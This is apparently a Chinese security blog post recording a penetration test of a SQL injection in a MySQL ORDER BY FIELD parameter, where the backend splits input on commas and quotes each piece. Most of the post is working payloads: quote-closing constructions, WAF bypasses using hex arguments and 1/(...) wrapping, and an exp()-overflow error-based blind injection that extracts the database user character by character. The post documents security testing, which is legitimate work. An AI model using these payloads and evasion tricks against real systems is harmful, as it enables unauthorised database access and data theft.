某次奇怪的sql注入记录
某个功能点的抓包测试,对其中参数进行测试
单/双数个引号正常规律返回,注入存在,同时返回报错信息
先看一个单引号的报错
keyValue=29'
key值被俩单引号包起来了
构造
keyValue=29'='29
正常执行
常规手法尝试注出库名,(先构造逻辑运算,在构造报错,再在报错语句中执行查询)
keyValue=29'=if(1 like 1 ,1,1)='29
,发现有某waf
利用该waf特性,将if函数的参数类型稍作修改即可绕过,例如十六进制字符
keyValue=29'=if(1 like 1 ,1,0x11)='29
观察报错,发现执行的语句我们传入的payload莫名奇妙多了几个单引号,导致语句始终无法正常闭合
看sql语句是此处的传参是在 order by field后面,尝试了解下order by field看能不能有所突破
order by field 是mysql中基于order by拓展的一种语法,用于更加定制化的排序
只使用order by的话,只能对指定列的值按照正序/逆序进行排序
例如对以下数据按照id进行排序,返回的结果要么是id的值从1-10顺序排列,要么是使用order by desc使结果为id的值从10-1逆序排列
有没有一种办法使返回结果按照给定的id序列排序呢,例如返回结果序列对应id的序列为1,3,5,7,9,2,4,6,8,10这种
order by fieid就可以解决如下需求
order by field的排序原理为将指定的列值对应的数据逐一与源数据表中数据进行比较,匹配到的值会置于源数据表的最后一行,依次进行
没有匹配到的数据会按照原始顺序处于表中的顶部
值得注意的是,当order by field指定排序的列的值为字符串类型时,必须用引号括起来,否则会报错(mysql中int类型的数字与char类型的数字是可以相等的,这种情况除外)
知道了这个特性,就不难猜出之前的注入会什么执行时会多了几个单引号了,应该就是开发设计后端在接受前端传过来的order by field的参数并拼接到sql语句中时,对所有传入的参数先以逗号为分隔符分组,再将分组的数据各自用单引号括起来在拼接到sql语句中执行。
比如当我们传入keyValue=29'=if(1 like 1 ,1,0x11)='29时,后端对传入的字符串以逗号进行截取,获得三个字符串如下
29'=if(1 like 1
1
0x11)='29
再将三个字符串各自用引号括起来作为order by field的参数
所以当传入keyValue为29'=if(1 like 1 ,1,0x11)='29,数据库中执行的是
SELECT * FROM xxx WHERE xxx ORDER BY FIELD (`id`, '29'=if(1 like 1 ','1','0x11)='29') LIMIT 0,999999
搞清楚了语句的逻辑后,接下来开始构造闭合语句
将29'=if(1 like 1 ,1,0x11)='29改成==》29'=if('1' like '1 ,1,0x11')='29
构造报错
keyValue=29'=if(exp(111) like '1 ,1,0x11')='29
keyValue=29'=if(exp(710) like '1 ,1,0x11')='29
返回不一样,可以使用报错盲注
开始尝试爆user
keyValue=29'=if(exp(if(current_user like '1,710,1')) like '1 ,1,0x11')='29
waf阻断
老样子,将if函数的的参数值修改一下绕过该waf
if(current_user like 1,710,1)==》if(current_user like 1,710,0x11)
居然不行,应该是触发了别的拦截策略,将current_user改成current_use又可以了,一开始以为是检测了current_user这个字符串,后来发现并不是,将if函数的参数再fuzz修改一下,绕过成功
if(current_user like 1,710,0x11)==》if(1/(current_user like 1),710,0x11)
keyValue=29'=if(exp(if(1/(current_user like '1),710,0x11')) like '1 ,1,0x11')='29
但是此时,语句又出了问题,最里面的if语句的右括号被两个引号包裹了,导致语句异常
此时,需要在这个右括号的后面再构造一个布尔运算,使这个右括号逃出引号的包裹
即
原先经过后端处理的第一个取值为
29'=if(exp(if(1/(current_user like '1)
最终执行为
SELECT * FROM xxx WHERE xxx ORDER BY FIELD(`id`, '29'=if(exp(if(1/(current_user like '1)','710','0x11')) like '1 ','1','0x11')='29') LIMIT 0,999999
修改为如下后
keyValue=29'=if(exp(if(1/(current_user like '1')='1,710,0x11')) like '1 ,1,0x11')='29
经过后端处理原先的第一个取值为
29'=if(exp(if(1/(current_user like '1')='1
最终执行为
SELECT * FROM xxx WHERE xxx ORDER BY FIELD(`id`, '29'=if(exp(if(1/(current_user like '1')='1','710','0x11')) like '1 ','1','0x11')='29'') LIMIT 0,999999
一位一位直接跑出user
keyValue=29'=if(exp(if(1/(current_user like 'root%')='1,710,0x11')) like '1 ,1,0x11')='29
79 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!